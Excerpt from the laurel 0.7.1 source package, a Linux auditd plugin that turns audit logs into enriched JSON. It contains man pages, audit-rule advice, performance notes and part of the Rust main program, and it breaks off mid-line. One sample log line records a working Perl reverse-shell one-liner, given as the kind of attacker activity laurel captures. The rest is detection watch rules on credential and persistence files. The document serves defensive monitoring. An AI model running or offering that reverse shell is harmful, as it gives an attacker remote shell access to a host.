`laurel` can be configured to perform the same translations as `auditd(8)`, it can perform other enrichments, including interpreted scripts, collecting specific environment variables, or container information for processes that are run within container environments. If possible, translations of numeric values should be performed by `laurel` rather than by `auditd`. Note: If `laurel` is built with musl libc, it won't be able to resolve users and groups using GNU libc's Name Service Switch. However, since musl libc supports the glibc's name service caching daemon, installing and enabling `nscd` makes NSS-based user and group available. ### Adding Context: Process Relationships, Labels While processing audit records `laurel(8)` tracks processes and remembers `comm`, `exe`, and the event ID associated with the latest `execve` event of a process. Processes that are tracked can be assigned labels through various mechanisms and those labels can optionally be propagated to child processes. Mechanisms by which labels can be assigned include: - using the key from an audit event (the `-k` option of `auditctl(8)`) - regular expression applied to the executable path (`SYSCALL.exe` field) - regular expression applied to part of the command line (`EXECVE.ARGV` field) - regular expression applied to the script path (`SYSCALL.SCRIPT` field, enriched) The process tracking information can be used to enrich fields containing process ids, including `SYSCALL.{pid, ppid}` and `OBJ_PID.opid` associated with `ptrace` attach or `kill` syscalls. ### Volume reduction: Filtering out events To reduce the high volume of events, it is possible to filter out events by key or by process label. Events that are filtered are still used for process tracking. ### Example The log lines from the Perl reverse shell execution above are processed by `laurel(8)` into the following JSON log line: ``` json {"ID":"1626611363.720:348501","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"a0":"0x55c094deb5c0","a1":"0x55c094dea770","a2":"0x55c094dbf1b0","a3":"0xfffffffffffff286","items":3,"ppid":722076,"pid":724395,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts3","ses":3,"comm":"perl","exe":"/usr/bin/perl","subj":"=unconfined","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","PPID":{"EVENT_ID":"1626611323.973:348120","exe":"/bin/bash","comm":"bash","ppid":3190631}},"EXECVE":{"argc":3,"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}} ``` ## Audit rule set advice For process tracking to work properly, the kernel should be configured to log all `execve`-like calls and all `fork`-like for processes that are expected to use `fork` without `execve`. See `laurel-audit-rules(7)` for details. # SEE ALSO `laurel(8)`, `auditd(8)`, `audit.rules(7)`, `laurel-audit-rules(7)` # AUTHORS - Hilko Bengen <> - Sergej Schmidt <> laurel-0.7.1/man/laurel-audit-rules.7.md000064400000000000000000000161441046102023000161050ustar 00000000000000--- title: laurel - Advice for writing Audit rulesets for use with `laurel(8)` section: 7 header: System Administration Utilities footer: laurel 0.7.1 --- # NAME laurel-audit-rules - Advice for writing Audit rulesets for use with `laurel(8)` # SYNOPSIS This page contains suggestions for Linux Audit rulesets that are useful to aid in detecting common attacker's tactics. # Note about auditctl(8) error messages It is not possible for /auditctl(8)/ ro load file watches for files or directories that are not present. Depending on the rule set, it will spam possibly lots of error messages to standard error. The specific file watches are not installed, but those error messages can be ignored otherwise. # File watches ## Authentication/authorization ``` -w /etc/group -p wa -k wr_group -w /etc/passwd -p wa -k wr_passwd -w /etc/shadow -p wa -k wr_passwd -w /etc/pam.conf -p wa -k wr_pam -w /etc/pam.d/ -p wa -k wr_pam -w /etc/ssh/sshd_config -p wa -k wr_sshd -w /etc/sudoers -p wa -k wr_sudo -w /etc/sudoers.d -p wa -k wr_sudo ``` ## cron, at ``` -w /etc/crontab -p wa -k wr_cron -w /etc/cron.d/ -p wa -k wr_cron -w /etc/cron.daily/ -p wa -k wr_cron -w /etc/cron.hourly/ -p wa -k wr_cron -w /etc/cron.monthly/ -p wa -k wr_cron -w /etc/cron.weekly/ -p wa -k wr_cron -w /etc/cron.yearly/ -p wa -k wr_cron -w /etc/cron.allow -p wa -k wr_cron -w /etc/cron.deny -p wa -k wr_cron -w /var/spool/cron/crontabs/ -p wa -k wr_cron -w /etc/at.allow -p wa -k wr_cron -w /etc/at.deny -p wa -k wr_cron -w /var/spool/cron/atjobs/ -p wa -k wr_cron ``` ## systemd Systemd also has cron-like timer mechanism. udev triggers have also been abused for persistence. Note that watching the files in `/etc` is not sufficient. ``` -w /etc/systemd -p wa -k wr_systemd -w /lib/systemd -p wa -k wr_systemd -w /usr/lib/systemd -p wa -k wr_systemd -w /etc/udev -p wa -k wr_systemd -w /lib/udev -p wa -k wr_systemd -w /usr/lib/udev -p wa -k wr_systemd ``` ## Dynamic linkers ``` -w /lib/ld-linux.so.2 -p wa -k wr_ldso -w /lib64/ld-linux-x86-64.so.2 -p wa -k wr_ldso -w /lib/ld-musl-x86_64.so.1 -p wa -k wr_ldso -w /lib/ld-musl-i386.so.1 -p wa -k wr_ldso -w /etc/ld.so.conf -p wa -k wr_ldso -w /etc/ld.so.conf.d -p wa -k wr_ldso -w /etc/ld.so.preload -p wa -k wr_ldso ``` ## Mandatory access control (SELinux, AppArmor) manipulation ``` -w /etc/selinux -p wa -k wr_selinux -w /usr/share/selinux -p wa -k wr_selinux -w /usr/libexec/selinux -p wa -k wr_selinux -w /etc/apparmor.d -p wa -k wr_apparmor -w /usr/lib/apparmor -p wa -k wr_apparmor -w /usr/share/apparmor -p wa -k wr_apparmor -w /usr/share/apparmor-features -p wa -k wr_apparmor ``` ## Kernel modules ``` -w /etc/modprobe.conf -p wa -k wr_modules -w /etc/modprobe.d/ -p wa -k wr_modules -w /lib/modules/ -p wa -k wr_modules ``` ## Auditd + Laurel ``` -w /etc/audit/ -p wa -k wr_audit_config -w /etc/libaudit.conf -p wa -k wr_audit_config -w /etc/audisp/ -p wa -k wr_audit_config -w /etc/laurel/ -p wa -k wr_laurel_confg ``` # Log specific program executions ## Possible tampering with auditd, laurel ``` -w /sbin/auditctl -p x -k wr_audit_tools -w /sbin/auditd -p x -k wr_audit_tools -w /usr/sbin/laurel -p x -k wr_audit_tools ``` # Log specific "harmless" programs executions Adding context to system service activities is useful because together with Laurel's process labels (`label-process.label-keys`, `label-process.propagate-labels`), it enables more accurate detection rules that can help recognize benign system management activity. ``` -w /usr/sbin/sshd -p x -k sshd -w /usr/bin/yum -p x -k pkg_mgmt -w /usr/bin/rpm -p x -k pkg_mgmt -w /usr/bin/dnf -p x -k pkg_mgmt -w /usr/bin/dpkg -p x -k pkg_mgmt -w /usr/bin/apt -p x -k pkg_mgmt -w /usr/bin/apt-get -p x -k pkg_mgmt -w /usr/bin/apt-key -p x -k pkg_mgmt -w /usr/bin/apt-add-repository -p x -k pkg_mgmt -w /usr/bin/aptitude -p x -k pkg_mgmt -w /usr/bin/aptitude-curses -p x -k pkg_mgmt -w /usr/bin/wajig -p x -k pkg_mgmt -w /usr/bin/snap -p x -k pkg_mgmt -w /usr/sbin/yast2 -p x -k pkg_mgmt -w /usr/bin/zypper -p x -k pkg_mgmt -w /usr/bin/containerd -p x -k container -w /usr/bin/podman -p x -k container -w /usr/bin/runc -p x -k container -w /usr/bin/dockerd -p x -k container -w /usr/bin/docker -p x -k container -w /usr/bin/docker-containerd -p x -k container -w /usr/bin/docker-runc -p x -k container -w /usr/sbin/cron -p x -k sched_task -w /usr/sbin/atd -p x -k sched_task -w /usr/sbin/httpd -p x -k apache-httpd -w /usr/local/apache2/bin/httpd -p x -k apache-httpd -w /usr/sbin/nginx -p x -k nginx -w /usr/local/nginx/sbin/nginx -p x -k nginx -w /usr/local/openresty/nginx/sbin/nginx -p x -k nginx ``` # Syscalls ## Log all fork and exec calls for reliable process tracking For reliable process tracking that is required for assigning and propagating process labels, it is useful to have the Linux Audit subsystem produce events for all `fork`/`exec` style syscalls. ``` ## Ignore clone( flags=CLONE_VM|… ), log other process-creating calls -a never,exit -F arch=b32 -S clone -F a2&0x100 -a never,exit -F arch=b64 -S clone -F a2&0x100 -a always,exit -F arch=b32 -S fork,vfork,clone,clone3 -k fork -a always,exit -F arch=b64 -S fork,vfork,clone,clone3 -k fork -a always,exit -F arch=b32 -S execve,execveat -a always,exit -F arch=b64 -S execve,execveat ``` It is only important that Laurel gets to observe these events. To reduce log volume, Laurel's filtering settings should be used, e.g.: ``` ini [filter] filter-keys = ["fork"] filter-action = drop keep-first-per-process = true ``` ## Log usage of ptrace We are interested in ptrce usage, but not in every transaction (`PEEK`, `POKE`, `CONT`) ``` -a never,exit -F arch=b32 -S ptrace -F a0>=1 -F a0<=7 -a never,exit -F arch=b64 -S ptrace -F a0>=1 -F a0<=7 -a always,exit -F arch=b32 -S ptrace -a always,exit -F arch=b64 -S ptrace ``` ## Log BPF usage Usage of BPF should be restricted to few processes; log everything except data transfer operations because they would put too much load on the system. ``` -a never,exit -F arch=b32 -S bpf -F a0>=1 -F a0<=4 -a never,exit -F arch=b64 -S bpf -F a0>=1 -F a0<=4 -a never,exit -F arch=b32 -S bpf -F a0>=0xb -F a0<=0xf -a never,exit -F arch=b64 -S bpf -F a0>=0xb -F a0<=0xf -a never,exit -F arch=b32 -S bpf -F a0=0x13 -a never,exit -F arch=b64 -S bpf -F a0=0x13 -a always,exit -F arch=b32 -S bpf -F success=1 -a always,exit -F arch=b64 -S bpf -F success=1 ``` ## Log kernel module loading, unloading ``` -a always,exit -F arch=b32 -S init_module,finit_module,delete_module -k module -a always,exit -F arch=b64 -S init_module,finit_module,delete_module -k module ``` # SEE ALSO `audit.rules(7)`, `laurel(8)` # AUTHOR - Hilko Bengen <> laurel-0.7.1/man/laurel.8.md000064400000000000000000000212621046102023000136470ustar 00000000000000--- title: laurel section: 8 header: System Administration Utilities footer: laurel 0.7.1 --- # NAME laurel(8) -- transform, enrich Linux audit logs # SYNOPSIS `laurel` is an `auditd(8)` plug-in that parses Linux audit events, enriches them with local information, and transforms them into a JSON Lines-based output format intended for consumption by log processing and SIEM software. # OPTIONS **-c FILE**, **-\-config=FILE** : path to configuration file (default: unset) **-d**, **-\-dry-run** : Only parse configuration and exit **-h**, **-\-help** : Print short help text and exit **-v**, **-\-version** : Print version and exit # DESCRIPTION `laurel` is typically configured to be spawned by `auditd(8)` itself or by `audispd(8)` (for 2.x _auditd_ versions). All audit events are fed to `laurel` via its standard input channel. Sample configuration file `/etc/audit/plugins.d/laurel.conf`: ``` active = yes direction = out type = always format = string path = /usr/sbin/laurel args = --config /etc/laurel/config.toml ``` An alternative setup consists of an AF_UNIX socket to which `auditd(8)` writes events. A connection is then established by `laurel` (see `input` setting below). In this case, the operator is responsible for starting and restarting `laurel`. Example configuration file: ``` active = yes direction = out path = builtin_af_unix type = builtin args = 0600 /var/run/laurel.sock format = string ``` # CONFIGURATION Configuration of `laurel` itself is done through a single configuration file in TOML format. ## main section This section contains basic operation parameters. - `user`: `laurel` is started as `root` by `auditd`, but it drops to a dedicated user as soon as possible. Default: unset - `directory`: The base directory into which all files are written. Default: `.` (current directory) - `statusreport-period`: How often stats are written to Syslog, in seconds. Default: unset - `input`: `laurel` can consume audit events from standard input or connect to a listening socket specified as `unix:/path/to/socket` at start. Defaulkt: `stdin` - `marker`: A string that is written to the log on startup and whenever `laurel` writes a status report. Default: none ## `[auditlog]` section This section describes the main audit log file. `laurel` performs its own log file rotation, just like `auditd(8)`. - `file`: Filename for the audit log file. Default: `audit.log` - `size`: Size in bytes after which the log file is rotated. Default: 10MiB - `generations`: Number of generations to keep after rotation. Default: 5 - `read-users`: List of users that are granted read access to the log file using POSIX ACLs. Default: empty - `read-group`: List of groups that are granted read access to the log file using POSIX ACLs. Default: empty - `read-other`: Whether all users are granted read access to the log file. Default: false - `line-prefix`: A string that is prepended to every line. Default: unset ## `[filterlog]` section This section describes the log file for filtered-out log events (see below). The `file`, `size`, `generations`, `read-users`, `line-prefix` configuration items work just like for the audit log. ## `[state]` section This section describes the state file. `laurel` uses this file on restart to keep track of running processes. The state file contains snapshots of the user database cache, process list, currently used events and a list of event ids that have already been processed. - `file`: Filename for the state file. Set to empty string to disable keeping state on disk. Default: `state` - `generations`: Number of generations of the state file to keep for debugging purposes. Default: 0; it should only be increased for debugging purposes. - `max-age`: Number of seconds after which the state file is considered stale. Default: 60 - `write-state-period`: How often the state file is written to the filesystem, in seconds. Default: unset ## `[transform]` section - `execve-argv`: The list of `EXECVE.a*` fields are transformed to an `ARGV` list or `ARGV_STR` string. Set to `array`, `string` (or both). Default: `array` - `execve-argv-limit-bytes`: Arguments are cut out of the middle long argument lists in `EXECVE.ARGV` or `EXECVE.ARGV_STR` so that this limit is not exceeded. Default: unset ## `[translate]` section Options that can be configured here correspond to what `auditd(8)` does when configured with `log_format=ENRICHED`. - `userdb`: Add translations for `uid` and `gid` fields. Default: false - `universal`: Add translations for everything else: `SYSCALL.arch`, `SYSCALL.syscall`, `SOCKADDR.saddr` - `drop-raw`: Drop raw (numeric) syscall, arch, UID, GID values if they are translated. Default: false ## `[enrich]` section Options that can be configured here actually add information to events - `execve-env`: A list of environment variables to dump for `exec` events. Default: `["LD_PRELOAD", "LD_LIBRARY_PATH"]` - `container`: Add container information for processes running within container runtimes as `SYSCALL.PID.container`. Default: true - `systemd`: Add systemd cgroup information for processes running within systemd services as `SYSCALL.PID.systemd_service`. Default: true - `container_info`: Add container information as top-level `CONTAINER_INFO` key. Deprecated; default: false - `pid`: Add context information for process IDs. Default: true - `script`: If an `exec` syscall spawns a script (as opposed to a binary), add a `SCRIPT` entry to the `SYSCALL` record. A script is assumed if the first `PATH` entry does not correspond to file mentioned in `SYSCALL.exe`. Default: true - `user-groups`: Add groups that the user ("uid") is a member of. Default: true - `prefix`: Add a prefix to enriched fields; this may be useful if logs are onsumed by analysis software that doesn't properly understand uppercase and lowercase JSON object fields as identical. This setting does not affect enriched fields passed in from `auditd(8)`. Default: unset ## `[label-process]` section Labels can be attached to processes and are added to any event associated with those processes. These labels can be propagated from parent to child processes. - `label-exe. = `: Regular expressions/label mappings applied to binary executables (`SYSCALL.exe`) on `execve` calls. Default: none - `label-argv. = `: Regular expressions/label mappings applied to the command line (`EXECVE.a*`) on `execve` calls. Default: none - `label-script. = `: Regular expressions/label mappings applied to scripts (`SYSCALL.SCRIPT`, see `enrich.script` description above) on `exec` calls. Default: none - `label-keys`: A list of keys that are applied as a process label, see `auditctl(8)`'s `-k` option. Default: none - `unlabel-exe. = `: Like `label-exe`, but for removing labels - `unlabel-argv. = `: Like `label-argv`, but for removing labels - `unlabel-script. = `: Like `label-script`, but for removing labels - `label-argv-count` Number of command line arguments that are considered for `label-argv`, `unlabel-argv`. Default: 32 - `label-argv-bytes` Number of bytes that are considered for `label-argv`, `unlabel-argv`. Default: 4096 - `propagate-labels`: List of labels that are propagated to child processes. Default: empty ## `[filter]` section Filters make `laurel` drop entire events from the log file while still using them for internal processing such as process tracking. - `filter-keys`: A list of strings that are matched against `SYSCALL.key` to drop the event. Default: empty - `filter-null-keys`: Filter events without specified key. Default: false - `filter-labels`: A list of strings that are matched against process labels. Default: empty - `filter-raw-lines`: A list of regular expression that are matched against individual input lines as written by `auditd(8)`. Events that contain such lines are then filtered. Default: empty - `filter-action`: What to do with filtered events? `drop` or `log` to the filterlog defined above. - `keep-first-per-process`: Keep the first event observed for any given process even if it would be filtered otherwise. This should only be turned off if reproducible process tracking or process tree reconstruction is not required. Default: true # SIGNALS `SIGHUP` causes `laurel` to process any buffered input and restart. It can be used to reconfigure `laurel` without having restarting `auditd(8)` which would likely lead to lost audit messages. # SEE ALSO `auditd(8)`, `auditd-plugins(5)`, `audit.rules(7)`, `laurel-about(7)`, `laurel-audit-rules(7)` # AUTHORS - Hilko Bengen <> - Sergej Schmidt <> laurel-0.7.1/man/laurel2audit.8.md000064400000000000000000000023011046102023000147510ustar 00000000000000--- title: laurel2audit section: 8 header: System Administration Utilities footer: laurel 0.7.1 --- # NAME laurel2audit(8) -- transform Laurel logs to back to original Linux Audit format # SYNOPSIS This is a simple filter that reads logs written by `laurel(8)` and outputs Linux Audit logs that the audit tools and `laurel` itself should be able to digest. # NOTES "Enriched" (i.e. ALL_CAPS) keys in audit records are discarded. `EXECVE` records are output on one, possibly very long, line. If `laurel` has transformed `EXECVE` argument lists to single strings (`ARGV_STR`), that transformation may have been lossy: There is no way to discern space characters as gaps between arguments from space characters as part of individual arguments. An end-of-event (`EOE`) marker is output for every event. This marker is not part of the original `audit.log` file, but it has originally been transmitted by the kernel and is passed by `auditd(8)` to plugins. # BUGS - URL-encoded single bytes within strings are not yet handled. - Possibly more. # SEE ALSO `laurel(8)`, `aulast(8)`, `aulastlog(8)`, `aureport(8)`, `ausearch(8)`, `ausyscall(8)`, `auvirt(8)` # AUTHORS - Hilko Bengen <> laurel-0.7.1/performance.md000064400000000000000000000050111046102023000137350ustar 00000000000000# _LAUREL_ Performance While _LAUREL_ was written with performance in mind, running it on busy systems with audit rule sets that actually produce log entries does incur some CPU overhead. We have conducted benchmarks of _LAUREL_ against _auditd_ and several other tools. A load generator that spawns trivial processes (`/bin/true`) at a set frequency was used to generate load and CPU time (system+user) for all processes involved was measured. The number of exec events per second was chosen due to our experience with systems where hundreds of processes are spawned during regular operation. A custom tool, [edr-loadgen](https://github.com/hillu/edr-loadgen), was written for this task. ![CPU overhead under load](performance.svg) As can be seen in the graph CPU consumption by _auditd(8)_, its event dispatcher, and _LAUREL_ combined is about twice as high as with a plain _auditd(8)_ setup using the `log_format=ENRICHED` configuration option. We still see several oppurtunities for improvements. All measurements involving the Linux audit framework were conducted on an AWS EC2 t2.small instance running Amazon Linunx 2. Since Sysmon for Linux does not (yet?) support that distribution's kernel version, it was tested on Ubuntu 20.04. ## Notes 1. CPU usage for all user-space processes that are involved in collecting and emitting events was measured. In _LAUREL's_ case, this included _auditd_ and _audispd_. Sysmon for Linux writes its events through _systemd-journald(8)_, so its CPU usage also had to be taken into account. Both _go-audit_ and _auditbeat_ are replacements for _auditd_ that directly consume events from the kernel, so CPU usage had to be recorded only for one process. 2. The numbers for Sysmon for Linux should be taken with a grain of salt since the experiments conducted so far only took CPU usage into account that was directly attributed to user-space processes. We are open to suggestions on how to compare the kernel/user interface for the Linux audit framework to the eBPF probes used by Sysmon. 3. The log file produced by [_go-audit_](https://github.com/slackhq/go-audit) is JSONL-based which might lead to the conclusion that replacing _auditd_ with _go-audit_ might be a good choice. However _go-audit_ solves only one of the log format quirks described in [Practical _auditd(8)_ problems](practical-auditd-problems.md) and does not even perform all of the translations that _auditd_ does when configured with `log_format=ENRICHED`. ## Raw data The data is can be found in the `contrib/performacne-data` subdirectory. laurel-0.7.1/performance.svg000064400000000000000000000513211046102023000141410ustar 00000000000000 Gnuplot Produced by GNUPLOT 5.4 patchlevel 1 0 10 20 30 40 50 60 70 0 200 400 600 800 1000 1200 1400 1600 1800 % cpu exec/s auditd 2.8.1 (RAW) auditd 2.8.1 (RAW) auditd 2.8.1 (ENRICHED) auditd 2.8.1 (ENRICHED) LAUREL 0.1.3 LAUREL 0.1.3 go-audit 1.0.0 go-audit 1.0.0 auditbeat 7.12.0 auditbeat 7.12.0 Sysmon/Linux 1.0.0 Sysmon/Linux 1.0.0 Sysmon/Linux commit 3f3e9820 Sysmon/Linux commit 3f3e9820 laurel-0.7.1/src/bin/laurel/main.rs000064400000000000000000000522751046102023000152450ustar 00000000000000//! Laurel is an "audisp" plugin plugins that consume data fed by the //! the Linux Audit daemon and reformats events as JSON Lines. use getopts::Options; use std::env; use std::fs; use std::io::{self, BufRead, BufReader, BufWriter, Read, Write}; use std::ops::AddAssign; use std::os::unix::fs::PermissionsExt; use std::os::unix::io::FromRawFd; use std::os::unix::net::UnixStream; use std::path::Path; use std::sync::{ atomic::{AtomicBool, Ordering}, Arc, }; use std::time::{Duration, SystemTime}; use anyhow::{anyhow, Context}; use nix::sys::{ signal::{sigprocmask, SigSet, SigmaskHow::*, Signal::*}, sysinfo::sysinfo, }; use nix::unistd::{chown, execve, Group, Uid, User}; #[cfg(target_os = "linux")] use nix::unistd::{setresgid, setresuid}; #[cfg(target_os = "linux")] use caps::{securebits::set_keepcaps, CapSet, Capability}; use serde::{Deserialize, Serialize}; use laurel::coalesce::{self, Coalesce}; use laurel::config::{Config, Input, Logfile}; use laurel::json; use laurel::logger; use laurel::rotate::FileRotate; use laurel::types::Event; const fn build_id() -> &'static str { match option_env!("LAUREL_BUILD_ID") { None => "generic", Some(s) => s, } } #[derive(Default, Serialize)] struct Stats { lines: u64, events: u64, errors: u64, } // Overload the += operator. impl AddAssign for Stats { fn add_assign(&mut self, other: Self) { *self = Self { lines: self.lines + other.lines, events: self.events + other.events, errors: self.errors + other.errors, }; } } /// Assume non-privileged user while retaining selected capabilities: /// /// - CAP_DAC_READ_SEARCH is required for reading arbitrary files, /// e.g. for calculating file hashes /// - CAP_DAC_READ_SEARCH+CAP_SYS_PTRACE are required for accessing /// environment variables from arbitrary processes /// (/proc/$PID/environ). #[cfg(target_os = "linux")] fn drop_privileges(runas_user: &User) -> anyhow::Result<()> { set_keepcaps(true)?; let uid = runas_user.uid; let gid = runas_user.gid; setresgid(gid, gid, gid).with_context(|| format!("setresgid({gid})"))?; setresuid(uid, uid, uid).with_context(|| format!("setresuid({uid})"))?; #[cfg(feature = "procfs")] { let mut capabilities = std::collections::HashSet::new(); capabilities.insert(Capability::CAP_SYS_PTRACE); capabilities.insert(Capability::CAP_DAC_READ_SEARCH); caps::set(None, CapSet::Permitted, &capabilities).context("set permitted capabilities")?; caps::set(None, CapSet::Effective, &capabilities).context("set effective capabilities")?; caps::set(None, CapSet::Inheritable, &capabilities) .context("set inheritable capabilities")?; } set_keepcaps(false)?; Ok(()) } struct Logger { prefix: Option, output: BufWriter>, } impl Logger { fn log(&mut self, message: S) -> std::io::Result<()> { if let Some(prefix) = &self.prefix { self.output.write_all(prefix.as_bytes())?; } laurel::json::to_writer(&mut self.output, &message)?; self.output.write_all(b"\n")?; self.output.flush() } fn new(def: &Logfile, dir: &Path) -> anyhow::Result { match &def.file { p if p.as_os_str().to_str().unwrap().starts_with('|') => { let command = &p.as_os_str().to_str().unwrap()[1..].trim_start(); let mut child = std::process::Command::new(command) .stdin(std::process::Stdio::piped()) .spawn() .map_err(|e| anyhow!("failed to start process: {}", e))?; let stdin = child .stdin .take() .ok_or_else(|| anyhow!("failed to open stdin"))?; Ok(Logger { prefix: def.line_prefix.clone(), output: BufWriter::new(Box::new(stdin)), }) } p if p.as_os_str() == "-" => Ok(Logger { prefix: def.line_prefix.clone(), output: BufWriter::new(Box::new(io::stdout())), }), p if p.has_root() && p.parent().is_none() => Err(anyhow!( "invalid file directory={} file={}", dir.to_string_lossy(), p.to_string_lossy() )), p => { let mut filename = dir.to_path_buf(); filename.push(p); let mut rot = FileRotate::new(filename); for user in &def.clone().users.unwrap_or_default() { _ = User::from_name(user)?.ok_or_else(|| anyhow!("user {user} not found"))?; rot = rot.with_user(user); } for group in &def.clone().groups.unwrap_or_default() { _ = Group::from_name(group)? .ok_or_else(|| anyhow!("group {group} not found"))?; rot = rot.with_group(group); } if def.other { rot = rot.with_other(true); } if let Some(generations) = &def.generations { rot = rot.with_generations(*generations); } if let Some(filesize) = &def.size { rot = rot.with_filesize(*filesize); } Ok(Logger { prefix: def.line_prefix.clone(), output: BufWriter::new(Box::new(rot)), }) } } } } #[derive(Default, Serialize, Deserialize)] struct AppState<'a> { ts: u64, state: coalesce::State<'a>, } fn read_state(path: &Path, max_age: Duration) -> Option { let r = fs::File::open(path) .map_err(|e| { log::error!("Can't open {}: {e}", path.to_string_lossy()); e }) .ok()?; match json::from_reader::<_, AppState>(r) { Err(e) => { log::error!( "Can't parse state from file {}: {e}", path.to_string_lossy() ); None } Ok(s) => { let ts = SystemTime::UNIX_EPOCH + Duration::from_secs(s.ts); let elapsed = ts .elapsed() .map_err(|e| { log::error!("Can't determine state age: {e}"); e }) .ok()?; // If we can't get the uptime, assume 0, i.e.: don't trust state file let uptime = sysinfo().map(|si| si.uptime()).unwrap_or_default(); if elapsed > max_age { log::warn!( "Discarding stale app state {}: elapsed={}s, max-age={}s", path.to_string_lossy(), elapsed.as_secs(), max_age.as_secs(), ); None } else if elapsed > uptime { log::error!( "Discarding stale app state {}: elapsed={}s, uptime={}s", path.to_string_lossy(), elapsed.as_secs(), uptime.as_secs(), ); None } else { log::info!( "Successfully read state file (#inflight={}, #done={} #proc={}, #pid={})", s.state.inflight.len(), s.state.done.len(), s.state.processes.processes.len(), s.state.processes.current.len(), ); Some(s.state) } } } } fn write_state(path: &Path, state: &coalesce::State) { log::info!( "Writing state (#inflight={}, #done={} #proc={}, #pid={})", state.inflight.len(), state.done.len(), state.processes.processes.len(), state.processes.current.len(), ); let mut fr = FileRotate::new(path); if let Err(e) = fr .rotate() .and_then(|_| { json::to_writer( &mut fr, &AppState { ts: SystemTime::UNIX_EPOCH .elapsed() .unwrap_or_default() .as_secs(), state: state.clone(), }, ) .map_err(|e| e.into()) }) .and_then(|_| fr.flush()) { log::error!("Error writing state file {}: {e}", path.to_string_lossy()); } } fn run_app() -> Result<(), anyhow::Error> { let args: Vec = env::args().collect(); let mut opts = Options::new(); opts.optopt("c", "config", "Configuration file", "FILE"); opts.optflag("d", "dry-run", "Only parse configuration and exit"); opts.optflag("h", "help", "Print short help text and exit"); opts.optflag("v", "version", "Print version and exit"); let matches = opts.parse(&args[1..])?; if matches.opt_present("h") { println!("{}", opts.usage(&args[0])); return Ok(()); } if matches.opt_present("v") { println!("{} ({})", laurel::VERSION, build_id()); return Ok(()); } let config: Config = match matches.opt_str("c") { Some(f) => { if fs::metadata(&f) .with_context(|| format!("stat {f}"))? .permissions() .mode() & 0o002 != 0 { return Err(anyhow!("Config file {f} must not be world-writable")); } let lines = fs::read(&f).with_context(|| format!("Error reading {f}"))?; toml::from_str(&String::from_utf8(lines).with_context(|| format!("Error parsing {f}"))?) .with_context(|| format!("Error parsing {f}"))? } None => Config::default(), }; // Set up input before dropping privileges. let raw_input: Box = match &config.input { // safety: File descriptor 0 is readable. (If it isn't, the // first read will cause the appropriate error.) We don't use // file descriptor 0 anywhere else. Input::Stdin => Box::new(unsafe { std::fs::File::from_raw_fd(0) }), Input::Unix(path) => Box::new( UnixStream::connect(path) .with_context(|| format!("Error connecting to {}", path.to_string_lossy()))?, ), }; // std::io::Stdin's buffer is only 8KB, so we construct our own. // 1MB ought to be enough for anybody. let mut input = BufReader::with_capacity(1 << 20, raw_input); let runas_user = match config.user { Some(ref username) => { User::from_name(username)?.ok_or_else(|| anyhow!("user {username} not found"))? } None => { let uid = Uid::effective(); User::from_uid(uid)?.ok_or_else(|| anyhow!("uid {uid} not found"))? } }; if matches.opt_present("d") { println!("Laurel {} ({}): Config ok.", laurel::VERSION, build_id()); return Ok(()); } let dir = config .directory .clone() .unwrap_or_else(|| Path::new(".").to_path_buf()); if dir.exists() { if !dir.is_dir() { return Err(anyhow!("{} is not a directory", dir.to_string_lossy())); } if dir .metadata() .with_context(|| format!("stat {}", dir.to_string_lossy()))? .permissions() .mode() & 0o002 != 0 { log::warn!( "Base directory {} must not be world-writable", dir.to_string_lossy() ); } } else { fs::create_dir_all(&dir) .with_context(|| format!("create_dir: {}", dir.to_string_lossy()))?; } chown(&dir, Some(runas_user.uid), Some(runas_user.gid)) .with_context(|| format!("chown: {}", dir.to_string_lossy()))?; fs::set_permissions(&dir, PermissionsExt::from_mode(0o755)) .with_context(|| format!("chmod: {}", dir.to_string_lossy()))?; let statefile_path = config.state.file.as_ref().map(|f| dir.join(f)); let mut error_logger = if let Some(def) = &config.debug.parse_error_log { let mut filename = dir.clone(); filename.push(&def.file); let mut rot = FileRotate::new(filename); for user in &def.clone().users.unwrap_or_default() { _ = User::from_name(user)?.ok_or_else(|| anyhow!("user {user} not found"))?; rot = rot.with_user(user); } if let Some(generations) = &def.generations { rot = rot.with_generations(*generations); } if let Some(filesize) = &def.size { rot = rot.with_filesize(*filesize); } Some(rot) } else { None }; if !Uid::effective().is_root() { log::warn!("Not dropping privileges -- not running as root"); } else if runas_user.uid.is_root() { log::warn!("Not dropping privileges -- no user configured"); } else { #[cfg(target_os = "linux")] drop_privileges(&runas_user)?; } #[cfg(target_os = "linux")] if let Err(e) = caps::clear(None, CapSet::Ambient) { log::warn!("could not set ambient capabilities: {e}"); } // Initial setup is done at this point. log::info!( "Started {} running version {} ({})", &args[0], laurel::VERSION, build_id() ); log::info!( "Running with EUID {} using config {}", Uid::effective().as_raw(), &config ); let mut coalesce; // The two variants produce different types, presumably because // they capture different environments. let emit_fn_drop; let emit_fn_log; let mut logger = Logger::new(&config.auditlog, &dir).context("can't create audit 